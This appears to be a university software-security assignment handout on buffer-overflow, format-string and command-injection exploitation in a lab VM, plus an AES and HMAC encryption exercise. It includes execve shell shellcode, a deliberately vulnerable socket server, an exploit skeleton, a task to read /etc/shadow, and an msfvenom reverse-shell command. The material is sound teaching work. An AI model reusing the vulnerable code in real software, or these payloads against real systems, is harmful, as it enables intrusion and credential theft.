March 26, 2021
FIT 3173 Software Security Assignment I (S1 2021)
Total Marks 100
Due on Week 6 April 16, 2021, Friday noon, 11:59:00
1 Overview
The learning objective of this assignment is for you to gain a first-hand experience on various vulnerabilities
and attack in c programming language and get a deeper understanding on how to use cryptographic algorithms
correctly in practice. All tasks in this assignment can be done on“SeedVM”as used in labs. Please
refer to Section 2 for submission notes.
2 Submission
You need to submit a lab report (one single PDF file) to describe what you have done and what you have
observed with screen shots whenever necessary; you also need to provide explanation or codes to the
observations that are interesting or surprising. In your report, you need to answer all the questions listed in
this manual. Please answer each question using at most 100 words. Typeset your report into .pdf format
(make sure it can be opened with Adobe Reader) and name it as the format: [Your Name]-[Student ID]-
FIT3173-Assignment1, e.g., HarryPotter-12345678-FIT3173-Assignment1.pdf.
All source code if required should be embedded in your report. In addition, if a demonstration video is
required, you should record your screen demonstration with your voice explanation and upload the video to
your Monash Google Drive. Your face should be visible at least at the beginning of the video interview. If
you do not wish to have your face visible in the video, contact the teaching team at least a weak before the
deadline so as to arrange a physical interview. The shared URL of the video should be mentioned in your
report wherever required. You can use this free tool to make the video:https://monash-panopto.aarnet…
; other tools are also fine. Then, please upload the PDF file to Moodle. Note: the assignment is due on April
16, 2021, Friday noon, 11:59:00
Late submission penalty: 10 points deduction per day. If you require a special consideration, the
application should be submitted and notified at least three days in advance. Special Considerations
are handled by and approved by the faculty and not by the teaching team (unless the special consideration
is for a small time period extension of one or two days). Zero tolerance on plagiarism: If you are found
cheating, penalties will be applied, i.e., a zero grade for the unit. University polices can be found at https:
//www.monash.edu/students/academic/policies/academic-integrity
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3 Buffer Overflow Vulnerability [80 Marks]
The learning objective of this part is for you to gain the first-hand experience on buffer-overflow vulnerability
by putting what they have learned about the vulnerability from class into action. Buffer overflow is defined
as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed
length buffers. This vulnerability can be utilized by an attacker to alter the flow control of the program, even
execute arbitrary pieces of code to enable remote access attacks. This vulnerability arises due to the mixing
of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the
data part can affect the control flow of the program, because an overflow can change the return address.
In this part, you will be given a program with a buffer-overflow vulnerability; the task is to develop a
scheme to exploit the vulnerability and finally send a remote access to an attacker. In addition to the attacks,
you will be guided to walk through several protection schemes that have been implemented in the operating
system to counter against the buffer overflow. You need to evaluate whether the schemes work or not and
explain why.
3.1 Initial setup
You can execute the tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux distributions
have implemented several security mechanisms to make the buffer-overflow attack difficult. To
simplify our attacks, we need to disable them first.
Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization
to randomize the starting address of heap and stack. This makes guessing the exact addresses
difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part, we disable
these features using the following commands:
$ su root
Password: (enter root password “seedubuntu”)
sysctl -w kernel.randomize_va_space=0
exit
The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called“Stack
Guard”to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You
can disable this protection if you compile the program using the -fno-stack-protector switch. For example,
to compile a program example.c with Stack Guard disabled, you may use the following command:
$ gcc -fno-stack-protector example.c
Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change
that, use the following option when compiling programs:
For executable stack:
$ gcc -z execstack -o test test.c
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For non-executable stack:
$ gcc -z noexecstack -o test test.c
3.2 Task 1: Shellcode Practice
Before you start the attack, we want you to exercise with a shellcode example. A shellcode is the code to
launch a shell. It is a list of carefully crafted instructions created by malicious users/attackers so that it can
be executed once the code is injected into a vulnerable program. Therefore, it has to be loaded into the
memory so that we can force the vulnerable program to jump to it. Consider the following program:
include <stdio.h>
int main() {
char *name[2];
name[0] =‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
The shellcode that we use is the assembly version of the above program. The following program shows
you how to launch a shell by executing a shellcode stored in a buffer.
Please compile and run the following code, and see whether a shell is invoked. Please briefly describe
your observations. [Marking scheme: 2 marks for the screenshot and 3 marks for the explanation]
Question 1
/ call_shellcode.c /
/A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
const char code[] =
“\x31\xc0” / Line 1: xorl %eax,%eax /
“\x50” / Line 2: pushl %eax /
“\x68″”//sh” / Line 3: pushl $0x68732f2f /
“\x68″”/bin” / Line 4: pushl $0x6e69622f /
“\x89\xe3” / Line 5: movl %esp,%ebx /
“\x50” / Line 6: pushl %eax /
“\x53” / Line 7: pushl %ebx /
“\x89\xe1” / Line 8: movl %esp,%ecx /
“\x99” / Line 9: cdq /
“\xb0\x0b” / Line 10: movb $0x0b,%al /
“\xcd\x80” / Line 11: int $0x80 /
3
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)())buf)();
}
Please use the following command to compile the code (don’t forget the execstack option):
$ gcc -z execstack -g -o call_shellcode call_shellcode.c
3.3 The Vulnerable Program
In this Section we introduce the vulnerable program shown in the following listing. The program acts as a
server capturing payloads from a client in the buf variable and using them as parameters for the execution
of the grep linux command. The goal of the program is to allow a client to search for useful entries in a
specific document file (the file is called notes) and see this information in the client machine. This linux
command is executed in the function exec_command and the command results are returned back to the
client through the opened socket between client and server (by rerouting the standard output file).
/ stack.c /
include <stdio.h>
include <stdlib.h>
include <unistd.h>
include <string.h>
include <sys/socket.h>
include <netinet/ip.h>
include <sys/wait.h>
define PORT 6060
int exec_command(int sock, char* buf) {
char command[XX];
char* val1 = 0;
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
val1 = strtok(buf, “\n”);
sprintf(command, “cat ./notes | grep -i %s”, val1);
system(command);
return 0;
}
void main()
4
{
struct sockaddr_in server;
struct sockaddr_in client;
int clientLen;
int sock, newsock;
char buf[1500];
pid_t pid, current = getpid();
int ret_val;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
perror(“Error opening socket”);
exit(1);
}
memset((char*)&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
ret_val = bind(sock, (struct sockaddr*)&server, sizeof(server));
if (ret_val < 0) {
perror(“ERROR on binding”);
close(sock);
exit(1);
}
while (1) {
listen(sock, 5);
clientLen = sizeof(client);
newsock = accept(sock, (struct sockaddr*)&client, &clientLen);
if (newsock < 0) {
perror(“Error on accept”);
exit(1);
}
bzero(buf, 1500);
recvfrom(newsock, buf, 1500 – 1, 0, (struct sockaddr*)&client, &clientLen);
printf(“the buf: %s||\n”, buf);
exec_command(newsock, buf);
//printf(“the end\n”);
close(newsock);
}
close(sock);
}
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Warning: Note: In the vulnerable program and specifically in the varable command you need to
replace XX with your studentid % 32 (modulo 32) and add 80 to it. xx= studentid % 32 + 80
!
Then, compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling
it in the root account and chmod the executable to 4755 (don’t forget to include the execstack and
-fno-stack-protector options to turn off the non-executable stack and StackGuard protections):
$ su root
Password (enter root password “seedubuntu”)
gcc -g -o stack -z execstack -fno-stack-protector stack.c
chmod 4755 stack
exit
Also, include in the same folder as the server s code and executable the provided notes document.
The above program has several vulnerabilities. For this assignment, we focus on the vulnerabilities in
the exec_command function including the buffer overflow vulnerability. After compiling the program you
can connect a client to it using the netcat command (see the appendix on how netcat work). To do that, you
can open two different terminal windows in the Seed labs Linux VM. In one of them you should execute the
compiled vulnerable program and in the other terminal window you can run the netcat command in order to
emulate a client. The netcat instruction can be the following:
nc 127.0.0.1 6060 < badfile or
echo [some user input] | nc 127.0.0.1 6060
In the first case, you place the payload (potentially the malicious payload as an attacker) to be sent by
the client in a file (in the example we call it badfile). In the second case we provide directly as an input
to netcat the payload (in the example the payload goes in the [some user input] area). Note, that in
the second approach you can use perl scripts similar to the ones that we used in the buffer overflow lab of
week3.
If all goes well, when the server is running in the first terminal window and when the client’s netcat is
executed in the client’s terminal window with a legit parameter for grep you will see the outcome of the
search on the client. If there is no output on the client, that means that the parameter that you placed does
not exist in the file.
Compile successfully the vulnerable program and search for a specific word in the file (make sure that
this word exist in the document) using the above described setup. [Marking scheme: 2.5 marks for
each screenshot (successful compiling stack.c file and execution result on the client)]
Question 2
3.4 Exploiting the Vulnerability
In this task you are asked to exploit the vulnerabilities of the server program in order to perform some attack
as a client.
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3.4.1 Task 2
In the vulnerable program there is a vulnerability that can be easily exploited without having to inject a
shellcode in memory (eg. like buffer overflow attack, format string etc). In this task your goal is to exploit
this vulnerability in order to collect information about the linux password shadow file (\etc\shadow).
Identify the vulnerability that is implied above, describe how it can be exploited and perform the attack
to retrieve the shadow file [marking guide: 2 marks for a screenshot of the retrieved shadow file in
the client, 2 marks for the identification of the vulnerability and 6 marks for the description and
execution of the attack].
Provide your video demonstration evidence to support and verify that you have performed
the attack and it worked successfully. You need to upload your demo video to your Monash Google
Drive and embed its shared link to your report so that the teaching team can view and verify your works.
The video should show a live demo of the attack and its result [5 marks]
Question 3
3.4.2 Task 3
Let’s assume that the developer of server program modifies the exec_command function’s source code in
order to make it less vulnerable. The new code for exec_command function is the following:
/ stack2.c /
int exec_command(int sock, char* buf) {
char command[XX];
char* command_p = command;
char* val0 = 0;
char* val1 = 0;
int status = 10;
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
sprintf(command_p, “%s”, buf);
val1 = strtok(command, “\n”);
char* argv_list[] = { “/bin/grep”, “-i”, val1, “notes”, NULL};
printf(“You have provided: \n”);
printf(command);
pid_t id = fork();
if (id == -1) exit(1);
if (id > 0)
{
waitpid(id, &status, 0);
return 0;
}
else {
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if (execve(“/bin/grep”, argv_list, NULL) == 0) {
return -1;
};
}
}
Warning: Note: In the vulnerable program and specifically in the varable command you need to
replace XX with your studentid % 32 (modulo 32) and add 80 to it. xx= studentid % 32 + 80.
Keep in mind that the size of the buffer may influence how you will perform the buffer overflow attack.
!
Recompile the vulnerable program with the new code and try to perform the previous attack. Does the
attack work? Explain your answer [marking guide: 2 marks for screenshot with the new attack
attempt. 3 marks for the explanation]
Question 4
3.4.3 Task 4
In this task, the goal is to perform an attack on the server using the buffer overflow vulnerability.
We provide you with a partially completed exploit code called exploit.c. The goal of this code
is to construct contents for“badfile”. In this code, you need to inject a reverse shell into the variable
shellcode, and then fill the variable buffer with appropriate contents.
/ exploit.c /
/ A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[]= / add your reverse shellcode here/;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here /
/ Save the contents to the file “badfile” /
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badfile = fopen(“./badfile”, “w”);
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
You need to read Appendix 5.1 to investigate how to create a reverse shellcode. To simulate the attacker
who is listening at a specific address/port and waiting for the shell, you can have a new linux terminal
window and use netcat to listen. We refer you to Appendix 5.2 for this simulation. After you finish the
above program, compile and run it. This will generate the contents for“badfile”. Then run the vulnerable
program stack2.c. If your exploit is implemented correctly, the attacker should be able to get the reverse
shell.
Info: Please compile your vulnerable program first. Please note that the program exploit.c, which
generates the badfile, can be compiled with the default Stack Guard protection enabled. This is because
we are not going to overflow the buffer in this program. We will be overflowing the buffer in
stack2.c, which is compiled with the Stack Guard protection disabled.
$ gcc -g -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she is
listening at the port 4444, and the program stack2.c is running at the address 10.0.2.15 or any
other relevant IP address on your VM).
$[02/01/20]seed@VM:˜$ nc -lvp 4444 // listening at the port 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [10.0.2.15] port 4444 [tcp/*] accepted
Once the attacker obtains the shell, the attacker can remotely manipulate all the current files where the
program stack2 runs.
i
Info: Note: For this task, you are allowed to use gdb on the server in order to perform correctly
the Buffer Overflow attack. Answering this task can be easier if the server is running in the gdb
environment. Also, if you wish to test if the shellcode works you can use the listing of task 1
i
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Provide your video demonstration evidence to support and verify that you have performed the
attack and it worked successfully. You need to upload your demo video to your Monash Google Drive
and embed its shared link to your report so that the teaching team can view and verify your works. In
the video, you need to demonstrate following key points:
• The buffer overflow happens and the attacker receives the shell when the victim executes the
vulnerable program stack2. (10 marks if the attack works during your demonstration
video)
• Debug the program stack2 to investigate the return memory address and local variables in the
vulnerable function. (10 marks for the debug demonstration and memory analysis)
• Open the program exploit.c and explain clearly line by line how you structured the content
for“badfile”.(10 marks for your explanation during the demonstration video)
Question 5
Info: Hint: Please read the Guidelines of this part. Also you can use the GNU debugger gdb to find
the address of buf [bufferSize] and“Return Address”, see Guidelines and Appendix. Please
note that providing incorrect student ID will result 0 mark for this task. The full marks are only
given if you have solid explanation with supporting memory address analysis.
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3.4.4 Task 5
Having access to the GDB debugger as an attacker is not a very realistic scenario in the experiments that we
are currently doing. In fact, the attacker (acting as a client) shouldn’t be able to have access to the server
program or the server’s linux OS (for the sake of simplicity in the previous tasks we relaxed this constrain).
In this task we assume that the attacker doesn’t have access to the server. This means that apart from
executing the server program you cannot perform any further actions on this program (for example you
cannot debug the server program with gdb).
Based on this constrain, you can exploit some other vulnerability that the exec_command function
has, in order to get some insight about the server’s stack memory and then use that information to perform
the buffer overflow attack. That implied vulnerability is the format string vulnerability.
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Perform an attack similar to the one in the previous task (using the reverse shell shellcode) but
without the use of GDB. Provide your video demonstration evidence to support and verify that
you have performed the attack and it worked successfully. You need to upload your demo video to
your Monash Google Drive and embed its shared link to your report so that the teaching team can view
and verify your works. In the video, you need to demonstrate following key points:
• Describe how you exploited the format string vulnerability and how you managed to retrieved
useful information for the next step of the attack. (10 marks for your explanation during the
demonstration video)
• Describe what each retrieved useful information means for the attack from the collected format
string exploit outputs.(5 marks for your explanation during the demonstration video)
• Show that the buffer overflow happens using the retrieved information and that the attacker receives
the shell when the victim executes the vulnerable program stack2. (5 marks if the
attack works during your demonstration video)
Question 6
3.5 Completion and file delivery
Warning: All codes in above files (shellcode.c, exploit.c, stack.c/stack2.c, and badfile) need to be
attached to your PDF report to obtain full marks. Failure to provide any of the above four documents
will result in a reduction of 2.5 Marks for each file.
!
4 Guidelines
We can load the shellcode into“badfile”, but it will not be executed because our instruction pointer will not
be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we
have two problems: (1) we do not know where the return address is stored, and (2) we do not know where
the shellcode is stored. To answer these questions, we need to understand the stack layout the execution
enters a function. The following figure gives an example.
Finding the address of the memory that stores the return address. From the figure, we know, if we
can find out the address of buffer[] array, we can calculate where the return address is stored. Since
the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your
own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).
In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the
malicious code. You can even modify the copied program, and ask the program to directly print out the
address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID
copy, instead of of your copy, but you should be quite close.
If the target program is running remotely, and you may not be able to rely on the debugger to find out
the address. However, you can always guess. The following facts make guessing a quite feasible approach:
• Stack usually starts at the same address.
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str (a pointer to a string)
Return Address
Previous Frame Pointer (FP)
buffer[0] … buffer[11]
variable_a
void func (char *str) {
char buffer[12];
int variable_a;
strcpy (buffer, str);
}
Int main() {
char *str =“I am greater than 12 bytes”;
func (str);
}
Current Frame
Current FP
(a) A code example (b) Active Stack Frame in func()
High Address
Low Address
• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand
bytes into the stack at any one time.
• Therefore the range of addresses that we need to guess is actually quite small.
Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],
you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accurately
calculate the address (for example, for remote programs), you can still guess. To improve the chance
of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump
to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.
buffer [0] …… buffer [11]
Previous FP
Return Address
str
Malicious Code
buffer [0] …… buffer [11]
Previous FP
Return Address
str
Malicious Code
NOP
NOP
NOP
…… (many NOP’s)
(a) Jump to the malicious code (b) Improve the chance Stack’s growing direction
Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4
bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually
occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different
types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer,
and then assign the integer. The following code shows how to assign an long integer to a buffer starting at
buffer[i]:
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char buffer[20];
long addr = 0xFFEEDD88;
long ptr = (long ) (buffer + i);
*ptr = addr;
5 Proper Usage of Symmetric Encryption [20 Marks]
In this task, we will play with hash function to achieve integrity and with symmetric key encryption algorithms
different modes of operation. The provided file pic original.bmp contains a simple picture. We
would like to encrypt this picture, so people without the encryption keys cannot know what is in the picture.
Also, we want to make sure that the encrypted files are not modified/altered by some unauthorized entity.
Thus, we are going to create program that has the following approach:
- open the image file and load it to the software program
- initialize the key (the key will be your studentid) to be used and the IV to be used (a random number)
- generate the Message Digest of the image using the HMAC function. You can use as a key you
studentid - concatenate the message digest at the end of the image
- encrypt the image and its message digest using AES ECB and CBC modes
- view the encrypted image with an image viewing tool
Please encrypt the file using the AES ECB (Electronic Code Book) and AES CBC (Cipher Block Chaining)
modes, and then do the following:
Note: for the first task, you can go either option 1 or option 2. But option 2 will allow you to obtain
the full marks of this question. - Option 1 (5 Marks): You can use the following openssl enc command to encrypt/decrypt the
image file. To see the manuals, you can type man openssl and man enc.
% openssl enc ciphertype -e -in pic_original.bmp -out cipher.bin \
-K 00112233445566778889aabbccddeeff \
-iv 0102030405060708
Please replace the ciphertype with a specific cipher type, such as -aes-128-cbc and -aes-128-ecb.
In this task, you should try AES ECB and AES CBC modes using your student id as the encryption
key for encryption. You can find the meaning of the command-line options and all the
supported cipher types by typing‘‘man enc’’(check the supported ciphers section). We
include some common options for the openssl enc command in the following:
-in <file> input file
-out <file> output file
-e encrypt
-d decrypt
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-K/-iv key/iv in hex is the next argument
-[pP] print the iv/key (then exit if -P)
You can also follow similar steps for the hmac of the message (for example you can find more
information in the following link: https://stackoverflow.com/que…
hmac-sha1-in-bash)
Option 1: Provide the commands that you used in order to implement the described scenario
of this task and attach screenshots of you actions using the terminal in your report. [Marking
scheme: 3 marks for the instructions and 2 marks for the screenshots]
Question 7 - Option 2 (20 Marks): Write a C program by using OpenSSL library to encrypt the image in AES ECB
and AES CBC mode respectively and to use HMAC as described in the beginning of this task. You
are required to use your student id as the encryption key for encryption and MAC. You may refer to
the sample code given in Appendix 5.4. Header files“openssl/conf.h, openssl/evp.h, openssl/hmac.h,
openssl/err.h”will be used for calling related OpenSSL functions. Using the following command line
to compile your program (assuming that your program is image encryption.c and your executable file
is named as image encryption):
$ gcc -I /usr/local/ssl/include -L /usr/local/ssl/lib -o \
image_encryption image_encryption.c -lcrypto -ldl
Some references for coding:
https://wiki.openssl.org/inde…
https://alinush.github.io/AES…
https://stackoverflow.com/que…
how-to-do-encryption-using-aes-in-openssl
https://gist.github.com/yoshi…
Let us treat the encrypted picture as a picture, and use a picture viewing software to display it. However,
for the .bmp file, the first 54 bytes contain the header information about the picture, we have
to set it correctly, so the encrypted file can be treated as a legitimate .bmp file. We will replace the
header of the encrypted picture with that of the original picture. You can use the ghex tool (on the
desktop of SEED-VM) to directly modify binary files.
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Option 2 (full marks): Provide your video demonstration evidence to support and verify that
you have performed the encryption with different AES ECB and CBC modes. You need to
upload your demo video to your Monash Google Drive and embed its shared link to your report
so that the teaching team can view and verify your works. In the video, you need to demonstrate
following key points:
• Run the program with different encryption modes and display the encrypted pictures using
any picture viewing software. Can you derive any useful information about the original
picture from the encrypted picture? Please explain your observations(10 marks for your
explanation during demonstration video)
• Open the source code and explain clearly how you program to generate such results. (10
marks for your coding explanation during demonstration video).
Warning: Completion: Please put your code and related code comments, and the encrypted
pictures to your report. Failure to do that will result in a reduction of 10 marks
from the task’s total mark
!
Question 8
Acknowledgement
This assignment are based on the SEED project (Developing Instructional Laboratories for Computer SEcurity
EDucation) at the website http://www.cis.syr.edu/˜wedu/seed/index.html. - Appendix
6.1 Reverse Shell Creation
A reverse shell (sometimes is known as a malicious shell) enables the connection from the target machine to
the attacker’s machine. In this situation, the attacker’s machine acts as a server. It opens a communication
on a port and waits for incoming connections. The target machine acts as a client connecting to that listener,
and then finally the attacker receives the shell. These attacks are dangerous because they give an attacker an
interactive shell on the target machine, allowing the attacker to manipulate file system/data.
In this assignment, there are two ways that can be followed in order to use a reverse shell. The first way
is to use popular shellcode databases on the internet in order to find an appropriate shellcode or use some
tool that can generate a shellcode for us.
Popular exploitation databases that provide shellcodes are the following:
http://shell-storm.org/shellc…
https://www.exploit-db.com/sh…
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Alternatively, to generate a shellcode, we can use msfvenom module in Metasploit. Metasploit is one
of the most powerful and widely used tools for exploring/testing the vulnerability of computer systems or
to break into remote systems. You first install Metasploit by openning a terminal and entering the following
command. Note that the command is one-line command without line breaks.
curl https://raw.githubusercontent…
master/config/templates/metasploit-framework-wrappers/
msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
To see msfvenom help, you can use msfvenom -h . To generate a reverse shell, you can use the
following command. You should wait few seconds to obtain the reverse shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f c
where -p is a payload type (in this case it’s for 32-bit Linux reverse shell binary), LHOST is your SEED
machine’s IP address (assuming you’re the attacker), LPORT is the port where the attacker is listening, and
-f is a format (c in this case).
Warning: Some shellcodes may not work in your Seed VM and/or with the provided vulnerable program.
For example. this can happen if the shellcode has a byte with —00— value (the NULL value)
which is interpreted by c as the end character of a string and will stop the execution of the shellcode.
We will consider a solution to be correct as long as the netcat listener manages to receive a connect
(even if the connection cannot be maintained afterwards and netcat closes)
!
6.2 Netcat Listener
In this assignment, we use Netcat to simulate the attacker’s listener. Fortunately, Netcat is already installed
in SEEDVM. It’s a versatile tool that has been dubbed the Hackers’Swiss Army Knife. It’s the most basic
feature is to read and write to TCP and UDP ports. Therfore, it enables Netcat can be run as a client or
a server. To see Netcat help, you can type nc -h in terminal. If you want to connect to a webserver
(10.2.2.2) on port 80, you can type
nc -nv 10.2.2.2 80
And if you want your computer to listen on port 80, you can type
nc -lvp 80
6.3 GNU Debugger
The GNU debugger gdb is a very powerful tool that is extremely useful all around computer science, and
MIGHT be useful for this task. A basic gdb workflow begins with loading the executable in the debugger:
gdb executable
You can then start running the problem with:
$ run [arguments-to-the-executable]
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(Note, here we have changed gdbOs default prompt of ˜ (gdb) to $).
In order to stop the execution at a specific line, set a breakpoint before issuing the“run”command.
When execution halts at that line, you can then execute step-wise (commands next and step) or continue
(command continue) until the next breakpoint or the program terminates.
$ break line-number or function-name
$ run [arguments-to-the-executable]
$ step # branch into function calls
$ next # step over function calls
$ continue # execute until next breakpoint or program termination
Once execution stops, you will find it useful to look at the stack backtrace and the layout of the current
stack frame:
$ backtrace
$ info frame 0
$ info registers
You can navigate between stack frames using the up and down commands. To inspect memory at a
particular location, you can use the x/FMT command
$ x/16 $esp
$ x/32i 0xdeadbeef
$ x/64s &buf
where the FMT suffix after the slash indicates the output format. Other helpful commands are disassemble
and info symbol. You can get a short description of each command via
$ help command
In addition, Neo left a concise summary of all gdb commands at:
http://vividmachines.com/gdbr…
You may find it very helpful to dump the memory image (Ocore ` O) of a program that crashes. The core ´
captures the process state at the time of the crash, providing a snapshot of the virtual address space, stack
frames, etc., at that time. You can activate core dumping with the shell command:
% ulimit -c unlimited
A crashing program then leaves a file core in the current directory, which you can then hand to the
debugger together with the executable:
gdb executable core
$ bt # same as backtrace
$ up # move up the call stack
$ i f 1 # same as “info frame 1”
$ …
Lastly, here is how you step into a second program bar that is launched by a first program foo:
gdb -e foo -s bar # load executable foo and symbol table of bar
$ set follow-fork-mode child # enable debugging across programs
$ b bar:f # breakpoint at function f in program bar
$ r # run foo and break at f in bar
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6.4 AES Encryption Function Sample Code
The AES encryption function will take as parameters the plaintext, the length of the plaintext, the key to be
used, and the IV. We will also take in a buffer to put the ciphertext in (which we assume to be long enough),
and will return the length of the ciphertext that we have written. Encrypting consists of the following stages:
(1) Setting up a context (2) Initialising the encryption operation (3) Providing plaintext bytes to be encrypted
(4) Finalising the encryption operation.
During initialisation, we need to provide an EVP CIPHER object. In this example, we are using
EVP aes 128 cbc(), which uses the AES algorithm with a 128-bit key in CBC mode.
int encrypt(unsigned char plaintext, int plaintext_len, unsigned char key,
unsigned char iv, unsigned char ciphertext)
{
EVP_CIPHER_CTX *ctx;
int len;
int ciphertext_len;
/ Create and initialise the context /
if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();
/* Initialise the encryption operation. IMPORTANT – ensure you use a key - and IV size appropriate for your cipher
*/
if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
handleErrors();
/* Provide the message to be encrypted, and obtain the encrypted output. - EVP_EncryptUpdate can be called multiple times if necessary
*/
if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
handleErrors();
ciphertext_len = len;
/* Finalise the encryption. Further ciphertext bytes may be written at -
this stage.
*/
if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors();
ciphertext_len += len;
/ Clean up /
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
Also, the code skeleton is given for image encryption. Note: if you stick to the following steps, your
program will directly output the encrypted image which can be viewed by any image viewer. Alternatively,
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you may encrypt the entire image file and use ghex tool as suggested in the step of Question 2 to replace the
header of the original image header for image preview.include <openssl/conf.h>
include <openssl/evp.h>
include <openssl/err.h>
include <stdlib.h>
include <stdio.h>
include <string.h>
void handleErrors()
{
printf(“Wrong encryption progress\n”);
}
int encrypt(unsigned char plaintext, int plaintext_len, unsigned char key,
unsigned char iv, unsigned char ciphertext)
{
// implement the encryption function based on the above example
}
int main(int argc, char **argv)
{
char * fileName=”pic_original.bmp”;
//======================= STEP 0=====================================//
/* Key initialization.
It will be automaticalled padded to 128 bit key */
//======================= STEP 1=====================================//
/* IV initialization.
The IV size for most modes is the same as the block size. - For AES128 this is 128 bits
*/
//======================= STEP 2=====================================//
//read the file from given filename in binary mode
printf(“Start to read the .bmp file \n”);
//======================= STEP 3=====================================//
/*allocate memory for bitmapHeader and bitmapImage.
then read bytes for these variables */
//allocate memory for the final ciphertext
/* as this is a .bmp file we read the header,
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the first 54 bytes, into bitmapHeader*/
//read the bitmap image content until the end of the .bmp file
//======================= STEP 4=====================================//
// encrypt the bitmapImage with the given studentId key
//======================= STEP 5=====================================//
/*merge header and bitmap to the final ciphertext
and output it into a .bmp file*/
return 1;
}